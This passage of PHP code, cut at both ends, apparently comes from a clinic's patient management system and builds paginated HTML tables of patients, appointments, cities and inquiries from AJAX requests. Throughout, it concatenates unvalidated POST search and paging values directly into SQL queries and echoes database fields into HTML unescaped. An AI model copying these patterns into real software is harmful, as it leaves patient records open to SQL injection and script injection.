                &lt;/tr&gt;';
            }
        } else {
            echo '&lt;tr&gt;
                &lt;td colspan=&quot;4&quot;&gt;
                    &lt;center&gt;
                        No Data Found
                    &lt;/center&gt;
                &lt;/td&gt;
            &lt;/tr&gt;';
        }
        echo '|$|';
        echo 'Showing '.$startCount.' to '.$i.' entries of &lt;span id=&quot;totalEntries&quot;&gt;'.$count1.'&lt;/span&gt; entries';
    }    


    if ($status == 'search-city') {

        $offset = $_POST['offset'];
        $dataLimit = $_POST['dataLimit'];
        $search = $_POST['search']; 
        $startCount = $offset + 1;

        $query = &quot;SELECT tbl_city.*,tbl_district.* FROM tbl_city 
                    JOIN tbl_district ON tbl_city.districtId = tbl_district.districtId WHERE tbl_city.deleteStatus = '0'&quot;;

        if (!empty($search)) {
            $query .= &quot; AND `cityName` LIKE '%&quot;.$search.&quot;%'&quot;;
        }

        $query1 = $query;
        $query .= &quot; ORDER BY `cityId` ASC LIMIT &quot;.$offset.&quot;, &quot;.$dataLimit;

        $result = mysqli_query($con, $query);
        $count = mysqli_num_rows($result); // changed $query to $result
        $count1 = mysqli_num_rows(mysqli_query($con, $query1)); // changed $query to $result
        if ($count &gt; 0) {
            $i = $offset;
            while ($row = mysqli_fetch_array($result)) { // changed $query to $result
                $i++;
                echo '&lt;tr id=&quot;rowId'.$row['districtId'].'&quot;&gt;
                    &lt;td&gt;'.$i.'&lt;/td&gt;
                    &lt;td&gt;'.$row['cityName'].'&lt;/td&gt;
                    &lt;td&gt;'.$row['districtName'].'&lt;/td&gt;
                    &lt;td&gt;
                        &lt;a href=&quot;city.php?id='.base64_encode($row['cityId']).'&quot; onclick=&quot;updateData('.$row['cityId'].')&quot; class=&quot;btn btn-sm btn-warning&quot;&gt;&lt;i class=&quot;fas fa-pen&quot;&gt;&lt;/i&gt;&lt;/a&gt;
                        &lt;a href=&quot;javascript:void(0)&quot; onclick=&quot;deleteData('.$row['cityId'].')&quot; class=&quot;btn btn-sm btn-danger mlbtn-5&quot;&gt;&lt;i class=&quot;feather-trash-2&quot;&gt;&lt;/i&gt;&lt;/a&gt;
                        '.$activeBtn.'
                     &lt;/td&gt;
                &lt;/tr&gt;';
            }
        } else {
            echo '&lt;tr&gt;
                &lt;td colspan=&quot;4&quot;&gt;
                    &lt;center&gt;
                        No Data Found
                    &lt;/center&gt;
                &lt;/td&gt;
            &lt;/tr&gt;';
        }
        echo '|$|';
        echo 'Showing '.$startCount.' to '.$i.' entries of &lt;span id=&quot;totalEntries&quot;&gt;'.$count1.'&lt;/span&gt; entries';
    }    


    if ($status == 'search-caseType') {

        $offset = $_POST['offset'];
        $dataLimit = $_POST['dataLimit'];
        $search = $_POST['search']; 
        $startCount = $offset + 1;

        $query = &quot;SELECT * FROM tbl_case WHERE deleteStatus = '0'&quot;;

        if (!empty($search)) {
            $query .= &quot; AND `caseType` LIKE '%&quot;.$search.&quot;%'&quot;;
        }

        $query1 = $query;
        $query .= &quot; ORDER BY `caseId` ASC LIMIT &quot;.$offset.&quot;, &quot;.$dataLimit;

        $result = mysqli_query($con, $query);
        $count = mysqli_num_rows($result); // changed $query to $result
        $count1 = mysqli_num_rows(mysqli_query($con, $query1)); // changed $query to $result
        if ($count &gt; 0) {
            $i = $offset;
            while ($row = mysqli_fetch_array($result)) { // changed $query to $result
                $i++;
                echo '&lt;tr id=&quot;rowId'.$row['caseId'].'&quot;&gt;
                    &lt;td&gt;'.$i.'&lt;/td&gt;
                    &lt;td&gt;'.$row['caseType'].'&lt;/td&gt;
                    &lt;td&gt;'.$row['caseFee'].'&lt;/td&gt;
                    &lt;td&gt;
                        &lt;a href=&quot;caseType.php?id='.base64_encode($row['caseId']).'&quot; onclick=&quot;updateData('.$row['caseId'].')&quot; class=&quot;btn btn-sm btn-warning&quot;&gt;&lt;i class=&quot;fas fa-pen&quot;&gt;&lt;/i&gt;&lt;/a&gt;
                        &lt;a href=&quot;javascript:void(0)&quot; onclick=&quot;deleteData('.$row['caseId'].')&quot; class=&quot;btn btn-sm btn-danger mlbtn-5&quot;&gt;&lt;i class=&quot;feather-trash-2&quot;&gt;&lt;/i&gt;&lt;/a&gt;
                        '.$activeBtn.'
                     &lt;/td&gt;
                &lt;/tr&gt;';
            }
        } else {
            echo '&lt;tr&gt;
                &lt;td colspan=&quot;4&quot;&gt;
                    &lt;center&gt;
                        No Data Found
                    &lt;/center&gt;
                &lt;/td&gt;
            &lt;/tr&gt;';
        }
        echo '|$|';
        echo 'Showing '.$startCount.' to '.$i.' entries of &lt;span id=&quot;totalEntries&quot;&gt;'.$count1.'&lt;/span&gt; entries';
    }    


    if ($status == 'search-indexdata') {

        session_start();
        $offset1 = $_POST['offset1'];
        $dataLimit1 = $_POST['dataLimit1'];
        $search1 = $_POST['search1']; 
        $startCount = $offset1 + 1;

        $query = &quot;SELECT tbl_patient.*, tbl_city.cityName AS city 
                    FROM tbl_patient 
                    LEFT JOIN tbl_city ON tbl_patient.cityId = tbl_city.cityId 
                    WHERE tbl_patient.deleteStatus = '0' AND tbl_patient.primary_p = '0'
                      AND tbl_patient.doctorId = '&quot; . $_SESSION['ivDoctorId'] . &quot;'&quot;; 
            if (!empty($search1)) {
                $query .= &quot; AND `firstName` LIKE '%&quot;.$search1.&quot;%'&quot;;
            }

        $query1 = $query;
        $query .= &quot; ORDER BY `patientId` ASC LIMIT &quot;.$offset1.&quot;, &quot;.$dataLimit1;

        $result = mysqli_query($con, $query);
        $count = mysqli_num_rows($result); // changed $query to $result
        $count1 = mysqli_num_rows(mysqli_query($con, $query1)); // changed $query to $result
        if ($count &gt; 0) {
            $i = $offset1;
            while ($row = mysqli_fetch_array($result)) { // changed $query to $result
                $i++;
                
                echo '&lt;tr id=&quot;rowId'.$row['patientId'].'&quot;&gt;
                    &lt;td&gt;'.$i.'&lt;/td&gt;
                    &lt;td&gt;'.$row['firstName'].' '.$row['middleName'].' '.$row['lastName'].'&lt;/td&gt;
                    &lt;td&gt; '.date(&quot;H:i:s&quot;, strtotime($row['dateTimeAdded'])).'&lt;/td&gt;
                    &lt;td&gt;'.$row['age'].'&lt;/td&gt;
                    &lt;td&gt;
                        &lt;a href=&quot;primary-patient.php?id='.base64_encode($row['patientId']).'&quot; onclick=&quot;primaryData('.$row['patientId'].')&quot; class=&quot;btn btn-sm btn-success&quot;&gt;&lt;i class=&quot;fas fa-eye&quot;&gt;&lt;/i&gt; Attend&lt;/a&gt;
                    &lt;/td&gt;
                &lt;/tr&gt;';
            }
        } else {
            echo '&lt;tr&gt;
                &lt;td colspan=&quot;7&quot;&gt;
                    &lt;center&gt;
                        No Data Found
                    &lt;/center&gt;
                &lt;/td&gt;
            &lt;/tr&gt;';
        }
        echo '|$|';
        echo 'Showing '.$startCount.' to '.$i.' entries of &lt;span id=&quot;totalEntries&quot;&gt;'.$count1.'&lt;/span&gt; entries';
    }

    // $query = &quot;SELECT tbl_patient.*, tbl_patient.dateTimeAdded AS receptionTime, patient_dilate_data.*, tbl_city.cityName AS city 
    //           FROM tbl_patient 
    //           LEFT JOIN tbl_city ON tbl_patient.cityId = tbl_city.cityId 
    //           LEFT JOIN patient_dilate_data ON tbl_patient.patientId = patient_dilate_data.patientId 
    //           WHERE tbl_patient.deleteStatus = '0' 
    //           AND tbl_patient.primary_p = '1' AND DATE(tbl_patient.dateTimeAdded) = CURDATE()  AND tbl_patient.doctorId = '&quot; . $_SESSION['ivDoctorId'] . &quot;'&quot;;

// if ($status == 'search-indexdatasecond') {
//     session_start();
//     $offset2 = $_POST['offset2'];
//     $dataLimit2 = $_POST['dataLimit2'];
//     $search2 = $_POST['search2']; 
//     $startCount = $offset2 + 1;

//     $query = &quot;SELECT tbl_patient.*, tbl_patient.dateTimeAdded AS receptionTime, patient_dilate_data.*, tbl_location.city AS city 
//               FROM tbl_patient 
//               LEFT JOIN tbl_location ON tbl_patient.locationId = tbl_location.id 
//               LEFT JOIN patient_dilate_data ON tbl_patient.patientId = patient_dilate_data.patientId 
//               WHERE tbl_patient.deleteStatus = '0' 
//               AND tbl_patient.primary_p = '1' AND tbl_patient.secondary_p = '0' AND tbl_patient.doctorId = '&quot; . $_SESSION['ivDoctorId'] . &quot;'&quot;;
              
//     if (!empty($search2)) {
//         $query .= &quot; AND tbl_patient.firstName LIKE '%&quot; . $search2 . &quot;%'&quot;;
//     }

//     $query1 = $query;
//     $query .= &quot; ORDER BY tbl_patient.patientId ASC LIMIT &quot; . $offset2 . &quot;, &quot; . $dataLimit2;

//     $result = mysqli_query($con, $query);
//     $count = mysqli_num_rows($result);
//     $count1 = mysqli_num_rows(mysqli_query($con, $query1));

//     if ($count &gt; 0) {
//         $i = $offset2;
//         while ($row = mysqli_fetch_array($result)) {
//             $i++;
//             $patientId = $row['patientId'];
//             $timerValue = $row['timer'];
//             $primaryTime = strtotime($row['primaryTime']) * 1000; // Convert to milliseconds


//             echo '&lt;tr id=&quot;rowId' . $patientId . '&quot;&gt;
//                     &lt;td&gt;' . $i . '&lt;/td&gt;
//                     &lt;td&gt;' . $row['firstName'] . ' ' . $row['middleName'] . ' ' . $row['lastName'] . '&lt;/td&gt;
//                     &lt;td&gt;' . date(&quot;H:i:s&quot;, strtotime($row['receptionTime'])) . '&lt;/td&gt;
//                     &lt;td&gt;' . date(&quot;H:i:s&quot;, strtotime($row['primaryTime'])) . '&lt;/td&gt;
//                     &lt;td&gt;' . $row['age'] . '&lt;/td&gt;';

//             echo '&lt;td&gt;';
//             if ($row['dilateValue'] == 'Yes') {
//                 echo '&lt;div id=&quot;timer-' . $patientId . '&quot; class=&quot;btn btn-danger&quot;&gt;00:00&lt;/div&gt;';
//                 echo '&lt;a href=&quot;secondary-patient.php?id=' . base64_encode($patientId) . '&quot; 
//                        class=&quot;btn btn-sm btn-primary&quot; 
//                        id=&quot;attendBtn-' . $patientId . '&quot; 
//                        style=&quot;display:none;&quot;&gt;
//                         &lt;i class=&quot;fas fa-eye&quot;&gt;&lt;/i&gt; Attend
//                       &lt;/a&gt;';

//                 echo '&lt;script&gt;
//                     var primaryTime = ' . $primaryTime . '; // Primary time in milliseconds
//                     var countdownTime = '.$timerValue.' * 60; // 15 minutes in seconds
//                     var timerId = &quot;timer-' . $patientId . '&quot;;
//                     var attendBtnId = &quot;attendBtn-' . $patientId . '&quot;;
                    
//                     var currentTime = Date.now(); // Current time in milliseconds
//                     var timeElapsed = Math.floor((currentTime - primaryTime) / 1000); // Time difference in seconds
//                     var remainingTime = countdownTime - timeElapsed; // Remaining countdown time

//                     if (remainingTime &gt; 0) {
//                         var countdown = setInterval(function () {
//                             var minutes = Math.floor(remainingTime / 60);
//                             var seconds = remainingTime % 60;

//                             document.getElementById(timerId).innerHTML = minutes + &quot;:&quot; + (seconds &lt; 10 ? &quot;0&quot; : &quot;&quot;) + seconds;

//                             remainingTime--;

//                             if (remainingTime &lt; 0) {
//                                 clearInterval(countdown);
//                                 document.getElementById(timerId).style.display = &quot;none&quot;; // Hide the timer
//                                 document.getElementById(attendBtnId).style.display = &quot;inline&quot;; // Show the attend button
                                
//                                 var fd = new FormData();
//                                 fd.append(&quot;status&quot;, &quot;edit-timer&quot;);
//                                 fd.append(&quot;patientId&quot;, &quot;' . $patientId . '&quot;);
//                                 $.ajax({  
//                                     type: &quot;POST&quot;,  
//                                     url: &quot;ajax-edit.php&quot;, 
//                                     data: fd,
//                                     contentType: false, // Required for FormData
//                                     processData: false, // Required for FormData
//                                     success: function(data) { 
//                                         console.log(data);
//                                     },
//                                     complete: function() {
//                                         $(&quot;#loader&quot;).hide();
//                                     }
//                                 });
//                             }
//                         }, 1000);
//                     } else {
//                         document.getElementById(timerId).style.display = &quot;none&quot;; // Hide the timer
//                         document.getElementById(attendBtnId).style.display = &quot;inline&quot;; // Show the attend button
//                     }
//                 &lt;/script&gt;';

//             } else {
//                 echo '&lt;a href=&quot;secondary-patient.php?id=' . base64_encode($patientId) . '&quot; class=&quot;btn btn-sm btn-success&quot;&gt;
//                         &lt;i class=&quot;fas fa-eye&quot;&gt;&lt;/i&gt; Attend
//                       &lt;/a&gt;';
//             }

//             echo '&lt;/td&gt;';
//             echo '&lt;/tr&gt;';
//         }
//     } else {
//         echo '&lt;tr&gt;
//                 &lt;td colspan=&quot;7&quot;&gt;
//                     &lt;center&gt;No Data Found&lt;/center&gt;
//                 &lt;/td&gt;
//               &lt;/tr&gt;';
//     }
//     echo '|$|';
//     echo 'Showing ' . $startCount . ' to ' . $i . ' entries of &lt;span id=&quot;totalEntries&quot;&gt;' . $count1 . '&lt;/span&gt; entries';
// }

    if ($status == 'search-indexdatasecond') {
        session_start();
        $offset2 = $_POST['offset2'];
        $dataLimit2 = $_POST['dataLimit2'];
        $search2 = $_POST['search2']; 
        $startCount = $offset2 + 1;

        $query = &quot;SELECT tbl_patient.*, tbl_patient.dateTimeAdded AS receptionTime, patient_dilate_data.*, tbl_location.city AS city 
                  FROM tbl_patient 
                  LEFT JOIN tbl_location ON tbl_patient.locationId = tbl_location.id 
                  LEFT JOIN patient_dilate_data ON tbl_patient.patientId = patient_dilate_data.patientId 
                  WHERE tbl_patient.deleteStatus = '0' 
                  AND tbl_patient.primary_p = '1' AND tbl_patient.secondary_p = '0' AND tbl_patient.doctorId = '&quot; . $_SESSION['ivDoctorId'] . &quot;'&quot;;
                  
        if (!empty($search2)) {
            $query .= &quot; AND tbl_patient.firstName LIKE '%&quot; . $search2 . &quot;%'&quot;;
        }

        $query1 = $query;
        $query .= &quot; ORDER BY tbl_patient.patientId ASC LIMIT &quot; . $offset2 . &quot;, &quot; . $dataLimit2;

        $result = mysqli_query($con, $query);
        $count = mysqli_num_rows($result);
        $count1 = mysqli_num_rows(mysqli_query($con, $query1));

        if ($count &gt; 0) {
            $i = $offset2;
            while ($row = mysqli_fetch_array($result)) {
                $i++;
                $patientId = $row['patientId'];
                $timerValue = $row['timer'];
                $primaryTime = strtotime($row['primaryTime']) * 1000; // Convert to milliseconds

                echo '&lt;tr id=&quot;rowId' . $patientId . '&quot;&gt;
                        &lt;td&gt;' . $i . '&lt;/td&gt;
                        &lt;td&gt;' . $row['firstName'] . ' ' . $row['middleName'] . ' ' . $row['lastName'] . '&lt;/td&gt;
                        &lt;td&gt;' . date(&quot;H:i:s&quot;, strtotime($row['receptionTime'])) . '&lt;/td&gt;
                        &lt;td&gt;' . date(&quot;H:i:s&quot;, strtotime($row['primaryTime'])) . '&lt;/td&gt;
                        &lt;td&gt;' . $row['age'] . '&lt;/td&gt;';

                echo '&lt;td&gt;';
                
                // Check if the timer is completed
                if ($row['dilateValue'] == 'Yes' &amp;&amp; $row['timerCompleted'] == '0') {
                    // Show the timer if it's not completed
                    echo '&lt;div id=&quot;timer-' . $patientId . '&quot; class=&quot;btn btn-danger&quot; ondblclick=&quot;endTimer(' . $patientId . ')&quot;&gt;&lt;/div&gt;';
                    echo '&lt;a href=&quot;secondary-patient.php?id=' . base64_encode($patientId) . '&quot; 
                           class=&quot;btn btn-sm btn-primary&quot; 
                           id=&quot;attendBtn-' . $patientId . '&quot; 
                           style=&quot;display:none;&quot;&gt;
                            &lt;i class=&quot;fas fa-eye&quot;&gt;&lt;/i&gt; Attend
                          &lt;/a&gt;';

                    echo '&lt;script&gt;
                        var primaryTime = ' . $primaryTime . '; // Primary time in milliseconds
                        var countdownTime = '.$timerValue.' * 60; // Timer value in seconds
                        var timerId = &quot;timer-' . $patientId . '&quot;;
                        var attendBtnId = &quot;attendBtn-' . $patientId . '&quot;;
                        
                        var currentTime = Date.now(); // Current time in milliseconds
                        var timeElapsed = Math.floor((currentTime - primaryTime) / 1000); // Time difference in seconds
                        var remainingTime = countdownTime - timeElapsed; // Remaining countdown time

                        if (remainingTime &gt; 0) {
                            var countdown = setInterval(function () {
                                var minutes = Math.floor(remainingTime / 60);
                                var seconds = remainingTime % 60;

                                document.getElementById(timerId).innerHTML = minutes + &quot;:&quot; + (seconds &lt; 10 ? &quot;0&quot; : &quot;&quot;) + seconds;

                                remainingTime--;

                                if (remainingTime &lt; 0) {
                                    clearInterval(countdown);
                                    endTimer(' . $patientId . ');
                                }
                            }, 1000);
                        } else {
                            endTimer(' . $patientId . ');
                        }

                        // Function to end the timer immediately on double click or when the timer finishes
                        function endTimer(patientId) {
                            clearInterval(countdown); // Clear the countdown timer
                            document.getElementById(&quot;timer-&quot; + patientId).style.display = &quot;none&quot;; // Hide the timer
                            document.getElementById(&quot;attendBtn-&quot; + patientId).style.display = &quot;inline&quot;; // Show the attend button
                            
                            var fd = new FormData();
                            fd.append(&quot;status&quot;, &quot;edit-timer&quot;);
                            fd.append(&quot;patientId&quot;, patientId);
                            
                            $.ajax({  
                                type: &quot;POST&quot;,  
                                url: &quot;../Config/ajax-edit.php&quot;, 
                                data: fd,
                                contentType: false, // Required for FormData
                                processData: false, // Required for FormData
                                success: function(data) { 
                                    if (data === &quot;success&quot;) {
                                        console.log(&quot;Timer marked as completed for patient ID: &quot; + patientId);
                                    } else {
                                        console.error(&quot;Error: &quot; + data);
                                    }
                                },
                                complete: function() {
                                    $(&quot;#loader&quot;).hide();
                                }
                            });
                        }

                    &lt;/script&gt;';
                } else {
                    // If the timer is completed, show the Attend button directly
                    echo '&lt;a href=&quot;secondary-patient.php?id=' . base64_encode($patientId) . '&quot; 
                           class=&quot;btn btn-sm btn-primary&quot; 
                           id=&quot;attendBtn-' . $patientId . '&quot;&gt;
                            &lt;i class=&quot;fas fa-eye&quot;&gt;&lt;/i&gt; Attend
                          &lt;/a&gt;';
                }

                echo '&lt;/td&gt;';
                echo '&lt;/tr&gt;';
            }
        } else {
            echo '&lt;tr&gt;
                    &lt;td colspan=&quot;7&quot;&gt;
                        &lt;center&gt;No Data Found&lt;/center&gt;
                    &lt;/td&gt;
                  &lt;/tr&gt;';
        }
        echo '|$|';
        echo 'Showing ' . $startCount . ' to ' . $i . ' entries of &lt;span id=&quot;totalEntries&quot;&gt;' . $count1 . '&lt;/span&gt; entries';
    }

    if ($status == 'search-patienttable') {

        $offset = $_POST['offset'];
        $dataLimit = $_POST['dataLimit'];
        $search = $_POST['search']; 
        $startCount = $offset + 1;

        // $query = &quot;SELECT tbl_patient.*, tbl_city.cityName AS city, tbl_doctor.doctorName AS doctor
        //   FROM tbl_patient 
        //   LEFT JOIN tbl_city ON tbl_patient.cityId = tbl_city.cityId
        //   LEFT JOIN tbl_doctor ON tbl_patient.doctorId = tbl_doctor.doctorId
        //   WHERE tbl_patient.deleteStatus = '0'&quot;;

        $query = &quot;SELECT
                    tbl_patient.*,
                    tbl_location.city AS city,
                    tbl_doctor.doctorName AS doctor,
                    ROW_NUMBER() OVER (
                        PARTITION BY tbl_doctor.doctorId 
                        ORDER BY tbl_patient.patientId
                    ) AS patient_index
                FROM
                    tbl_patient
                LEFT JOIN tbl_location ON tbl_patient.locationId = tbl_location.id
                LEFT JOIN tbl_doctor ON tbl_patient.doctorId = tbl_doctor.doctorId
                WHERE
                    tbl_patient.deleteStatus = '0'
                    AND DATE(tbl_patient.appointmentDate) = CURDATE()&quot;;
                    // echo $query;exit;
        if (!empty($search)) {
            $query .= &quot; AND `firstName` LIKE '%&quot;.$search.&quot;%'&quot;;
        }

        $query1 = $query;
        $query .= &quot; ORDER BY `patientId` DESC LIMIT &quot;.$offset.&quot;, &quot;.$dataLimit;

        $result = mysqli_query($con, $query);
        $count = mysqli_num_rows($result); // changed $query to $result
        $count1 = mysqli_num_rows(mysqli_query($con, $query1)); // changed $query to $result
        if ($count &gt; 0) {
            $i = $offset;
            while ($row = mysqli_fetch_array($result)) { // changed $query to $result
                $i++;

                echo '&lt;tr id=&quot;rowId'.$row['patientId'].'&quot;&gt;
                    &lt;td&gt;'.$i.'&lt;/td&gt;
                    &lt;td&gt;'.$row['firstName'].' '.$row['middleName'].' '.$row['lastName'].'&lt;/td&gt;
                    &lt;td&gt;'.$row['appointmentDate'].'&lt;/td&gt;
                    &lt;td&gt;'.$row['contactNo'].'&lt;/td&gt;
                    &lt;td&gt;'.$row['city'].'&lt;/td&gt;
                    &lt;td&gt;'.$row['age'].'&lt;/td&gt;';
                    
                    if ($row['online_offline'] == 0) {
                        echo '&lt;td&gt;
                                &lt;a href=&quot;javascript:void(0)&quot; onclick=&quot;printData(' . htmlspecialchars(json_encode($row), ENT_QUOTES, 'UTF-8') . ')&quot; class=&quot;btn btn-sm btn-primary mlbtn-5 auto-click&quot; data-patient-id=&quot;'.$row['patientId'].'&quot;&gt;&lt;i class=&quot;feather-printer&quot;&gt;&lt;/i&gt;&lt;/a&gt;
                              &lt;/td&gt;';
                    } else {
                        echo '&lt;td&gt;
                                &lt;a href=&quot;addpatient.php?id='.base64_encode($row['patientId']).'&quot; onclick=&quot;updateData('.$row['patientId'].')&quot; class=&quot;btn btn-sm btn-warning mlbtn-5&quot;&gt;&lt;i class=&quot;fas fa-pen&quot;&gt;&lt;/i&gt;&lt;/a&gt;
                              &lt;/td&gt;';
                    }

                echo '&lt;/tr&gt;';
            }
        } else {
            echo '&lt;tr&gt;
                &lt;td colspan=&quot;7&quot;&gt;
                    &lt;center&gt;
                        No Data Found
                    &lt;/center&gt;
                &lt;/td&gt;
            &lt;/tr&gt;';
        }
        echo '|$|';
        echo 'Showing '.$startCount.' to '.$i.' entries of &lt;span id=&quot;totalEntries&quot;&gt;'.$count1.'&lt;/span&gt; entries';
    }


    if ($status == 'search-history') {

        $offset = $_POST['offset'];
        $dataLimit = $_POST['dataLimit'];
        $search = $_POST['search']; 
        $startCount = $offset + 1;

        $query = &quot;SELECT
                    tbl_patient.*,
                    tbl_location.city AS city
                FROM
                    tbl_patient
                LEFT JOIN tbl_location ON tbl_patient.locationId = tbl_location.id
                WHERE
                    tbl_patient.deleteStatus = '0'
                    AND tbl_patient.secondary_p = '1'&quot;;
                    
        if (!empty($search)) {
            $query .= &quot; AND `contactNo` LIKE '%&quot;.$search.&quot;%'&quot;;
        }

        $query1 = $query;
        $query .= &quot;GROUP BY tbl_patient.contactNo ORDER BY `patientId` DESC LIMIT &quot;.$offset.&quot;, &quot;.$dataLimit;
// echo $query;exit;
        $result = mysqli_query($con, $query);
        $count = mysqli_num_rows($result); // changed $query to $result
        $count1 = mysqli_num_rows(mysqli_query($con, $query1)); // changed $query to $result
        if ($count &gt; 0) {
            $i = $offset;
            while ($row = mysqli_fetch_array($result)) { // changed $query to $result
                $i++;

                echo '&lt;tr id=&quot;rowId'.$row['patientId'].'&quot;&gt;
                    &lt;td&gt;'.$i.'&lt;/td&gt;
                    &lt;td&gt;'.$row['firstName'].' '.$row['middleName'].' '.$row['lastName'].'&lt;/td&gt;
                    &lt;td&gt;'.$row['patientCode'].'&lt;/td&gt;
                    &lt;td&gt;'.$row['contactNo'].'&lt;/td&gt;
                    &lt;td&gt;'.$row['city'].'&lt;/td&gt;
                    &lt;td&gt;'.$row['age'].'&lt;/td&gt;
                    &lt;td&gt;
                    &lt;a href=&quot;patienthistory.php?id='.base64_encode($row['patientId']).'&quot; class=&quot;btn btn-sm btn-warning mlbtn-5&quot;&gt;&lt;i class=&quot;fas fa-eye&quot;&gt;&lt;/i&gt;&lt;/a&gt;
                    &lt;/td&gt;
                &lt;/tr&gt;';
            }
        } else {
            echo '&lt;tr&gt;
                &lt;td colspan=&quot;7&quot;&gt;
                    &lt;center&gt;
                        No Data Found
                    &lt;/center&gt;
                &lt;/td&gt;
            &lt;/tr&gt;';
        }
        echo '|$|';
        echo 'Showing '.$startCount.' to '.$i.' entries of &lt;span id=&quot;totalEntries&quot;&gt;'.$count1.'&lt;/span&gt; entries';
    }


    if ($status == 'search-onlinetable') {

        $offset = $_POST['offset'];
        $dataLimit = $_POST['dataLimit'];
        $search = $_POST['search']; 
        $startCount = $offset + 1;

        $receptionId = $_SESSION['ivReceptionId'];
        $currentDate = date('Y-m-d'); // Get the current date in 'YYYY-MM-DD' format

        $query = &quot;SELECT tbl_patient.*, tbl_city.cityName AS city , tbl_doctor.doctorName AS doctor
          FROM tbl_patient 
          LEFT JOIN tbl_city ON tbl_patient.cityId = tbl_city.cityId 
          LEFT JOIN tbl_doctor ON tbl_patient.doctorId = tbl_doctor.doctorId 
          WHERE tbl_patient.deleteStatus = '0' 
          AND tbl_patient.online_offline = '1' 
          AND tbl_patient.receptionId = '$receptionId'
          AND DATE(tbl_patient.appointmentDate) = '$currentDate'&quot;;


        if (!empty($search)) {
            $query .= &quot; AND `firstName` LIKE '%&quot;.$search.&quot;%'&quot;;
        }

        $query1 = $query;
        $query .= &quot; ORDER BY `patientId` ASC LIMIT &quot;.$offset.&quot;, &quot;.$dataLimit;

        $result = mysqli_query($con, $query);
        $count = mysqli_num_rows($result); // changed $query to $result
        $count1 = mysqli_num_rows(mysqli_query($con, $query1)); // changed $query to $result
        if ($count &gt; 0) {
            $i = $offset;
            while ($row = mysqli_fetch_array($result)) { // changed $query to $result
                $i++;

                echo '&lt;tr id=&quot;rowId'.$row['patientId'].'&quot;&gt;
                    &lt;td&gt;'.$i.'&lt;/td&gt;
                    &lt;td&gt;'.$row['firstName'].' '.$row['middleName'].' '.$row['lastName'].'&lt;/td&gt;
                    &lt;td&gt;'.$row['appointmentDate'].'&lt;/td&gt;
                    &lt;td&gt;'.$row['contactNo'].'&lt;/td&gt;
                    &lt;td&gt;'.$row['city'].'&lt;/td&gt;
                    &lt;td&gt;'.$row['doctor'].'&lt;/td&gt;
                    &lt;td&gt;
                        &lt;a href=&quot;addpatient.php?id='.base64_encode($row['patientId']).'&quot; onclick=&quot;updateData('.$row['patientId'].')&quot; class=&quot;btn btn-sm btn-success&quot;&gt;&lt;i class=&quot;fas fa-check&quot;&gt;&lt;/i&gt;&lt;/a&gt;
                        &lt;a href=&quot;javascript:void(0)&quot; onclick=&quot;deleteData('.$row['patientId'].')&quot; class=&quot;btn btn-sm btn-danger mlbtn-5&quot;&gt;&lt;i class=&quot;feather-trash-2&quot;&gt;&lt;/i&gt;&lt;/a&gt;
                        '.$activeBtn.'
                     &lt;/td&gt;
                &lt;/tr&gt;';
            }
        } else {
            echo '&lt;tr&gt;
                &lt;td colspan=&quot;7&quot;&gt;
                    &lt;center&gt;
                        No Data Found
                    &lt;/center&gt;
                &lt;/td&gt;
            &lt;/tr&gt;';
        }
        echo '|$|';
        echo 'Showing '.$startCount.' to '.$i.' entries of &lt;span id=&quot;totalEntries&quot;&gt;'.$count1.'&lt;/span&gt; entries';
    }

    if ($status == 'search-allonlineapp') {

        $offset = $_POST['offset'];
        $dataLimit = $_POST['dataLimit'];
        $search = $_POST['search']; 
        $startCount = $offset + 1;


        $query = &quot;SELECT tbl_patient.*, tbl_city.cityName AS city , tbl_doctor.doctorName AS doctor
          FROM tbl_patient 
          LEFT JOIN tbl_city ON tbl_patient.cityId = tbl_city.cityId 
          LEFT JOIN tbl_doctor ON tbl_patient.doctorId = tbl_doctor.doctorId 
          WHERE tbl_patient.deleteStatus = '0' 
          AND tbl_patient.online_offline = '1'&quot;;

        if (!empty($search)) {
            $query .= &quot; AND `contactNo` LIKE '%&quot;.$search.&quot;%'&quot;;
        }

        $query1 = $query;
        $query .= &quot; ORDER BY `patientId` ASC LIMIT &quot;.$offset.&quot;, &quot;.$dataLimit;

        $result = mysqli_query($con, $query);
        $count = mysqli_num_rows($result); // changed $query to $result
        $count1 = mysqli_num_rows(mysqli_query($con, $query1)); // changed $query to $result
        if ($count &gt; 0) {
            $i = $offset;
            while ($row = mysqli_fetch_array($result)) { // changed $query to $result
                $i++;

                echo '&lt;tr id=&quot;rowId'.$row['patientId'].'&quot;&gt;
                    &lt;td&gt;'.$i.'&lt;/td&gt;
                    &lt;td&gt;'.$row['firstName'].' '.$row['middleName'].' '.$row['lastName'].'&lt;/td&gt;
                    &lt;td&gt;'.$row['appointmentDate'].'&lt;/td&gt;
                    &lt;td&gt;'.$row['contactNo'].'&lt;/td&gt;
                    &lt;td&gt;'.$row['city'].'&lt;/td&gt;
                    &lt;td&gt;'.$row['doctor'].'&lt;/td&gt;
                    &lt;td&gt;
                        &lt;a href=&quot;addpatient.php?id='.base64_encode($row['patientId']).'&quot; onclick=&quot;updateData('.$row['patientId'].')&quot; class=&quot;btn btn-sm btn-success&quot;&gt;&lt;i class=&quot;fas fa-check&quot;&gt;&lt;/i&gt;&lt;/a&gt;
                        '.$activeBtn.'
                     &lt;/td&gt;
                &lt;/tr&gt;';
            }
        } else {
            echo '&lt;tr&gt;
                &lt;td colspan=&quot;7&quot;&gt;
                    &lt;center&gt;
                        No Data Found
                    &lt;/center&gt;
                &lt;/td&gt;
            &lt;/tr&gt;';
        }
        echo '|$|';
        echo 'Showing '.$startCount.' to '.$i.' entries of &lt;span id=&quot;totalEntries&quot;&gt;'.$count1.'&lt;/span&gt; entries';
    }

    if ($status == 'search-inquiry') {

        $offset = $_POST['offset'];
        $dataLimit = $_POST['dataLimit'];
        $search = $_POST['search']; 
        $startCount = $offset + 1;

        $query = &quot;SELECT * FROM `tbl_inquiry` WHERE `deleteStatus` = '0'&quot;; // simplified query
        if (!empty($search)) {
            $query .= &quot; AND `name` LIKE '%&quot;.$search.&quot;%'&quot;;
        }

        $query1 = $query;
        $query .= &quot; ORDER BY `id` ASC LIMIT &quot;.$offset.&quot;, &quot;.$dataLimit;

        $result = mysqli_query($con, $query);
        $count = mysqli_num_rows($result); // changed $query to $result
        $count1 = mysqli_num_rows(mysqli_query($con, $query1)); // changed $query to $result
        if ($count &gt; 0) {
            $i = $offset;
            while ($row = mysqli_fetch_array($result)) { // changed $query to $result
                $i++;
                echo '&lt;tr id=&quot;rowId'.$row['id'].'&quot;&gt;
                    &lt;td&gt;'.$i.'&lt;/td&gt;
                    &lt;td&gt;'.$row['name'].'&lt;/td&gt;
                    &lt;td&gt;'.$row['mobile'].'&lt;/td&gt;
